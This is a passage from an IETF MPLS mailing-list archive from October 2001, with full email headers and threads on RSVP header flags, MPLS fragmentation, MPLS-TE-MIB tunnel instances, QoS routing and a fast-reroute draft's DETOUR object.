<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_27666211==_.ALT--



From owner-mpls@UU.NET  Fri Oct 19 17:31:27 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02330
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 17:31:27 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlllt16201;
	Fri, 19 Oct 2001 21:29:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlllt25066
	for mpls-outgoing; Fri, 19 Oct 2001 21:29:41 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlllt25061
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 21:29:40 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlllt11437
	for <mpls@UU.NET>; Fri, 19 Oct 2001 21:28:23 GMT
Received: from dnsmx2pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQlllt14124
	for <mpls@UU.NET>; Fri, 19 Oct 2001 21:28:36 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id RAA24391
	for <mpls@UU.NET>; Fri, 19 Oct 2001 17:25:04 -0400 (EDT)
Subject: rsvp header with flag set as '0001'
To: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OFDF5AA4D7.BE94BF83-ON85256AEA.00752D3A@cc.telcordia.com>
From: "Hong Liao" <hliao@telcordia.com>
Date: Fri, 19 Oct 2001 17:25:03 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/19/2001 05:25:04 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

If the flag in the rsvp common header set to reserved bit as '00001'O, what
does that mean?   Also in what kind of situation this bit will be set to 1,
and it was reserved for what if it was set to 1.

But from the rsvp spec 2205, in the rsvp common header, it says that " no
flag bits are defined yet", for my understanding, it should be 0.


Thanks,

Julia




From owner-mpls@UU.NET  Fri Oct 19 19:27:31 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA05331
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 19:27:31 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllmb05696;
	Fri, 19 Oct 2001 23:26:18 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllmb13370
	for mpls-outgoing; Fri, 19 Oct 2001 23:25:39 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllmb13363
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 23:25:37 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllmb10133
	for <mpls@UU.NET>; Fri, 19 Oct 2001 23:25:00 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQllmb04064
	for <mpls@UU.NET>; Fri, 19 Oct 2001 23:25:17 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA11301
	for <mpls@UU.NET>; Fri, 19 Oct 2001 19:24:56 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA19971
	for <mpls@UU.NET>; Fri, 19 Oct 2001 19:24:58 -0400 (EDT)
Message-ID: <3BD0B64C.5DE26865@marconi.com>
Date: Fri, 19 Oct 2001 19:25:00 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Problems w/ MTU
References: <006701c158cf$5be5dcb0$644458a6@desktop>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id TAA05331

Alan Hannan wrote:

> IP boxes should fragment if the offered IP packet is greater than the
> MTU, provided the DF-Bit is not set. If your box doesn’t do this,
> please inquire with your vendor. Please also verify that your DF
> (Don’t Fragment) but is not set on the testing packets.
>

MPLS LSR's should not fragment anything.  They can not know whether the
content of their labeled packets are IP or something else.  Attempting
to fragment them would break all attempts to use MPLS for non-IP
traffic.

It is the responsibility of the ingress LER to fragment IP packets to an
MTU small enough to get all the way through the LSP before forwarding
them into that LSP.

Your advice makes perfect sense for unlabeled IP routers, and for LERs,
but it is wrong for LSRs.

-- David





From owner-mpls@UU.NET  Fri Oct 19 19:30:33 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA05472
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 19:30:32 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllmb11439;
	Fri, 19 Oct 2001 23:29:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllmb13614
	for mpls-outgoing; Fri, 19 Oct 2001 23:28:59 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllmb13607
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 23:28:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllmb19420
	for <mpls@UU.NET>; Fri, 19 Oct 2001 23:28:43 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQllmb10497
	for <mpls@UU.NET>; Fri, 19 Oct 2001 23:28:34 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA11503
	for <mpls@UU.NET>; Fri, 19 Oct 2001 19:28:40 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA20383
	for <mpls@UU.NET>; Fri, 19 Oct 2001 19:28:42 -0400 (EDT)
Message-ID: <3BD0B72B.3AE2DCA8@marconi.com>
Date: Fri, 19 Oct 2001 19:28:43 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: rsvp header with flag set as '0001'
References: <OFDF5AA4D7.BE94BF83-ON85256AEA.00752D3A@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> If the flag in the rsvp common header set to reserved bit as
> '00001'O, what does that mean?

It means that your peer router supports Bundle and SRefresh messages. 
If your router also supports them (along with MESSAGE_ID objects), it
can use the RSVP refresh reduction extensions.

See RFC 2961.

> But from the rsvp spec 2205, in the rsvp common header, it says that
> " no flag bits are defined yet", for my understanding, it should be
> 0.

Refresh reduction didn't exist at the time RFC 2205 was finalized.

-- David


From owner-mpls@UU.NET  Sat Oct 20 03:34:26 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09832
	for <mpls-archive@lists.ietf.org>; Sat, 20 Oct 2001 03:34:26 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllni20999;
	Sat, 20 Oct 2001 07:33:26 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllni23879
	for mpls-outgoing; Sat, 20 Oct 2001 07:32:41 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllni23870
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 20 Oct 2001 07:32:38 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllni21576
	for <mpls@UU.NET>; Sat, 20 Oct 2001 07:32:09 GMT
Received: from multitech.co.in by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.39.98])
	id QQllni18698
	for <mpls@UU.NET>; Sat, 20 Oct 2001 07:32:23 GMT
Received: from abhay (abhay [192.168.1.136])
	by multitech.co.in (8.11.0/8.11.0) with SMTP id f9K7WaV00595;
	Sat, 20 Oct 2001 13:02:41 +0530
Message-ID: <001301c1593a$35130a20$dff2fea9@abhay>
From: "abhay" <abhay@multitech.co.in>
To: "Choudhury, Sanjaya" <Sanjaya.Choudhury@marconi.com>, <mpls@UU.NET>
References: <313680C9A886D511A06000204840E1CF8F4D8A@whq-msgusr-02.pit.comms.marconi.com>
Subject: Re: Few questions related to MPLS-TE-MIB: tunnels vs tunnelInstances
Date: Sat, 20 Oct 2001 13:08:21 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0010_01C15968.4B4A0EA0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0010_01C15968.4B4A0EA0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


Sanjaya,
Please read my comments below...

>=20
> Hi! I have few comments/questions related to the MPLS-TE-MIB.
> Your help will be appreciated.
>=20
> Q1. mplsTunnelTable represents two kind of concepts:Tunnel &=20
> TunnelInstance.=20
>=20
> It may make sense, to keep some of the attributes associated
> with a tunnelInstance same, if they belong to the same tunnel.
>=20
> Is my assumption correct ? Is so, should there be two tables
> : mplsTunnelTable & mplsTunneInstanceTable ?
>=20

Tunnel Instance will be the same value for secondary tunnels created by =
the initial primary tunnel

No need for 2 tables,let it be simpler,so one can have implementation =
freedom


> Q2. Specifically, what is the scope (tunnel or tunnelInstance)
> of the following attribute ?
>=20
> a) mplsTunnelName - Should this be same for all tunnel=20
> instances, within a tunnel ?
>=20
> b)mplsTunnelIfIndex - Do we have one ifIndex per=20
> tunnel or one ifIndex per tunnelInstance ?=20
>=20
> [Does it make sense to create one ifIndex per=20
> tunnelInstance ???]
>=20

a) For the mplsTunnelName we can assign it to the first primary tunnel,
    Then we can have a formula like this
    For this tunnel ID,all these instances....ah here is the name.
    Name can be used to administration purposes to atleast know =
something distinct for u to remember,about
    where the tunnel is heading

b) Okay,now 1) Assume that you when u request a mpls tunnel as an =
interface,then=20
the interfaces MIB(rather a requirement to assign unique Interface =
Indices to it)
However T.E MIB has the tunnel instance for which u can have only a =
single ifIndex for a primary tunnel
and then the instances can use the same ifIndex

c)You can have multiple inteface indices per tunnel instance.


> Q3. tunnelInstancePriority is valid ONLY within the context of=20
> a tunnel.=20
>=20


1) Priority can be used to choose which tunnel to route traffice in case =
of primary failure.

> Does this mean that two tunnelInstances that belong to two
> _different_ tunnels (different tunnelIndex) should not be used
> for load sharing even if the -IngressLSRId , EgressLSRId &=20
> tunnelInstancePriority are same?
>=20

1) We can use different tunnels to the same destination for load =
balancing,but generally traffic load balancing is classified
and we need a fair queuing for allowing traffic to flow on the different =
tunnels id's on a percentage basis.However,as RFC for
Requirements for Traffic Engineering recommends reservation of =
bandwidth.Care should be taken again for not to underutilize
or overutilize traffic tunnels.Generally tunnel instances for load =
balancing would be a better idea,all of them usually have the same
priority as the primary and also we do not need load balanced tunnels to =
be pre-empted.


> * It may be helpful to add a little more text to the draft,
> indicating=20
> when should the user create a new tunnelInstance, instead of
> new tunnel.
>=20
> Thanks,
> sanjay
>=20
>=20
>=20

1) One way of dealing with the creation of the mplsTunnelInstance is how =
you want your tunnels to behave.

Please Read below:
1)  You can configure tunnels to have backup paths,with/without =
switchover /switchback mechanisms,in these cases
it is wise to have the tunnel instances,you can know which primary =
tunnel  has gone DOWN,and then the immediate
expectation is to know the next primary tunnel instance which is Being =
Used to maintain traffic flow.Here is the need
to create the instance.
Also,when u implement switchover and switchback ,tunnel instances are =
easily used to switchover and switch back.
However,if u want local protection paths,then u can add some additional =
indices one is local path ID,local primary Path ID
these entries can allow local paths to know about primary paths and =
primary paths to know about Locally spawned Tunnels.
This is for Local Paths which start at the MID point of the tunnel.

Thanks,
Abhay

------=_NextPart_000_0010_01C15968.4B4A0EA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Sanjaya,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Please read my comments =
below...<BR></DIV></FONT>
<DIV><FONT face=3DArial size=3D2>&gt; <BR>&gt; Hi! I have few =
comments/questions=20
related to the MPLS-TE-MIB.<BR>&gt; Your help will be =
appreciated.<BR>&gt;=20
<BR>&gt; Q1. mplsTunnelTable represents two kind of concepts:Tunnel =
&amp;=20
<BR>&gt; TunnelInstance. <BR>&gt; <BR>&gt; It may make sense, to keep =
some of=20
the attributes associated<BR>&gt; with a tunnelInstance same, if they =
belong to=20
the same tunnel.<BR>&gt; <BR>&gt; Is my assumption correct ? Is so, =
should there=20
be two tables<BR>&gt; : mplsTunnelTable &amp; mplsTunneInstanceTable =
?<BR>&gt;=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Tunnel Instance will be the same value =
for=20
secondary tunnels created by the initial primary tunnel</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>No need for 2 tables,let it be =
simpler,so&nbsp;one=20
can have implementation freedom</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><BR>&gt; Q2. Specifically, what is the =
scope=20
(tunnel or tunnelInstance)<BR>&gt; of the following attribute ?<BR>&gt; =
<BR>&gt;=20
a) mplsTunnelName - Should this be same for all tunnel <BR>&gt; =
instances,=20
within a tunnel ?<BR>&gt; <BR>&gt; b)mplsTunnelIfIndex - Do we have one =
ifIndex=20
per <BR>&gt; tunnel or one ifIndex per tunnelInstance ? <BR>&gt; =
<BR>&gt; [Does=20
it make sense to create one ifIndex per <BR>&gt; tunnelInstance =
???]<BR>&gt;=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>a) For the mplsTunnelName we can assign =
it to the=20
first primary tunnel,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; Then we can have a =
formula like=20
this</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; For this tunnel =
ID,all these=20
instances....ah here is the name.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; Name can be used to=20
administration purposes to atleast know something distinct for u to=20
remember,about</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; where the tunnel is=20
heading</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>b) Okay,now 1) Assume that you when u =
request a=20
mpls tunnel as an interface,then </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>the interfaces MIB(rather a requirement =
to assign=20
unique Interface Indices to it)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>However T.E MIB has the tunnel instance =
for which u=20
can have only a single ifIndex for a primary tunnel</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>and then the instances can use the same =

ifIndex</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>c)You can have multiple inteface =
indices per tunnel=20
instance.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><BR>&gt; Q3. tunnelInstancePriority is =
valid ONLY=20
within the context of <BR>&gt; a tunnel. <BR>&gt; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1) Priority can be used to choose which =
tunnel to=20
route traffice in case of primary failure.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><BR>&gt; Does this mean that two =
tunnelInstances=20
that belong to two<BR>&gt; _different_ tunnels (different tunnelIndex) =
should=20
not be used<BR>&gt; for load sharing even if the -IngressLSRId , =
EgressLSRId=20
&amp; <BR>&gt; tunnelInstancePriority are same?<BR>&gt; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1) We can use different tunnels to the =
same=20
destination for load balancing,but generally traffic load balancing is=20
classified</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>and we need a fair queuing for allowing =
traffic to=20
flow on the different tunnels id's on a percentage basis.However,as RFC=20
for</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Requirements for Traffic Engineering =
recommends=20
reservation of bandwidth.Care should be taken again for not to=20
underutilize</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>or overutilize traffic =
tunnels.Generally tunnel=20
instances for load balancing would be a better idea,all of them usually =
have the=20
same</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>priority as the primary and also we do =
not need=20
load balanced tunnels to be pre-empted.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&gt; * It may be helpful to add a =
little more text=20
to the draft,<BR>&gt; indicating <BR>&gt; when should the user create a =
new=20
tunnelInstance, instead of<BR>&gt; new tunnel.<BR>&gt; <BR>&gt; =
Thanks,<BR>&gt;=20
sanjay<BR>&gt; <BR>&gt; <BR>&gt; </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1) One way of dealing with the creation =
of the=20
mplsTunnelInstance is how you want your&nbsp;tunnels to =
behave.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Please Read below:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>1)&nbsp;&nbsp;You can configure tunnels =
to have=20
backup paths,with/without switchover /switchback mechanisms,in these=20
cases</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>it is wise to have the tunnel =
instances,you can=20
know which primary tunnel&nbsp; has gone DOWN,and then the=20
immediate</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>expectation is to know the next primary =
tunnel=20
instance which is Being Used to maintain traffic flow.Here is the=20
need</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>to create the instance.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Also,when u implement switchover and =
switchback=20
,tunnel instances are easily used to switchover and switch =
back.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>However,if u want local protection =
paths,then u can=20
add&nbsp;some additional indices one is local path ID,local primary Path =

ID</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>these entries can allow local paths to =
know about=20
primary paths and primary paths to know about Locally spawned=20
Tunnels.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>This is for Local Paths which start at =
the MID=20
point of the tunnel.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Abhay</FONT></DIV></BODY></HTML>

------=_NextPart_000_0010_01C15968.4B4A0EA0--



From owner-mpls@UU.NET  Sun Oct 21 13:37:56 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA15546
	for <mpls-archive@lists.ietf.org>; Sun, 21 Oct 2001 13:37:55 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllso11689;
	Sun, 21 Oct 2001 17:35:45 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllso12629
	for mpls-outgoing; Sun, 21 Oct 2001 17:35:35 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllso12624
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 21 Oct 2001 17:35:33 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllso28579
	for <mpls@UU.NET>; Sun, 21 Oct 2001 17:34:53 GMT
Received: from web20805.mail.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web20805.mail.yahoo.com [216.136.226.194])
	id QQllso10132
	for <mpls@UU.NET>; Sun, 21 Oct 2001 17:34:43 GMT
Message-ID: <20011021173452.7743.qmail@web20805.mail.yahoo.com>
Received: from [24.4.252.113] by web20805.mail.yahoo.com via HTTP; Sun, 21 Oct 2001 10:34:52 PDT
Date: Sun, 21 Oct 2001 10:34:52 -0700 (PDT)
From: senthil kumar ayyasamy <mplsgeek@yahoo.com>
Subject: Qos routing in MPLS
To: mpls@UU.NET, mpls-ops@mplsrc.com, te-wg@ops.ietf.org
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
I am a graduate student and i have been assinged to
implement the following functionality on an MPLS
architechture in an linux environment.The
functionality is as follows:

there are three routes in an MPLS aware network as
below,
            C
          /   \
         /     \
        /       \
       /         \
      A-----------B
  Under normal conditions,the route followed for a
prioritized traffic has to follow from A to B.But,on a
peak traffic,it has to be routed through C .
Also,we have to block the traffic when their is an pre
assinged traffic from C to B  which has to be assinged
a BW of 95% (no. should be generic).
so, my questions are,
1.On which signalling protocol can i implement the
above feature...RSVP-TE or CR-LDP?
2.had i have to write the code for these protocols
from scratch or can i use the existing GPL code for
including these functionalities??
3.please suggest some sources for finding the public
code for all these protocols in linux??
4.suggest some more functinality to be implemented
other than the one i have mentioned above??
5.Is there any performnace analyser to check the above
mentoned functionality ?
6.please do give some specific advices on implementing
the above mentioned funtionality??
Thanks in advance and 
hope to get more advice from u all,
senthil kumar.



__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Sun Oct 21 15:19:00 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA16124
	for <mpls-archive@lists.ietf.org>; Sun, 21 Oct 2001 15:19:00 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllsv24943;
	Sun, 21 Oct 2001 19:17:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllsv28768
	for mpls-outgoing; Sun, 21 Oct 2001 19:16:36 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllsv28762
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 21 Oct 2001 19:16:30 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllsv18609
	for <mpls@UU.NET>; Sun, 21 Oct 2001 19:15:57 GMT
Received: from huaweimail.in.huawei.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQllsv08924
	for <mpls@UU.NET>; Sun, 21 Oct 2001 19:16:13 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <48ZLFJSL>; Mon, 22 Oct 2001 00:49:12 +0530
Message-ID: <751B6DD7A243D511AB9F0002557C5687013D194D@HUAWEIMAIL>
From: Marshall Ma Shaowen <Marshall@in.huawei.com>
To: mpls@UU.NET
Date: Mon, 22 Oct 2001 00:49:10 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15A65.4308C710"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15A65.4308C710
Content-Type: text/plain;
	charset="gb2312"

hi, all
    I have a question about the draft-gan-fast-reroute-00.txt. 
in the 4.2 they said 
4.2 Originating a Detour Request

   At a detour branching node, a successful detour computation (described 
   in Section 4.1) yields enough information to construct a LSP
   detour request.  The information includes:

        o A DETOUR object that specifies the detour's destination.

but in the 3.2 
3.2 DETOUR Object

      Source ID

        IPv4 address identifying the beginning point of detour.
        Any address on the branching node can be used.

      Downstream Node ID

        IP address identifying the downstream node that source
        is trying to avoid. Router ID of downstream node is preferred.

my question is how to use the detour object ?
to specify the detour's destination? or to indicate the avoid node?
I think it's no use to indicate the avoid node.

Best Regards.
marshall


------_=_NextPart_001_01C15A65.4308C710
Content-Type: text/html;
	charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dgb2312">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE></TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">hi, all</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; I have a question =
about the draft-gan-fast-reroute-00.txt. </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">in the 4.2 they said </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">4.2 Originating a Detour =
Request</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; At a detour branching =
node, a successful detour computation (described </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; in Section 4.1) yields =
enough information to construct a LSP</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; detour request.&nbsp; =
The information includes:</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o A DETOUR =
object that specifies the detour's destination.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">but in the 3.2 </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">3.2 DETOUR Object</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Source =
ID</FONT>
</P>

<P><FONT SIZE=3D2 =
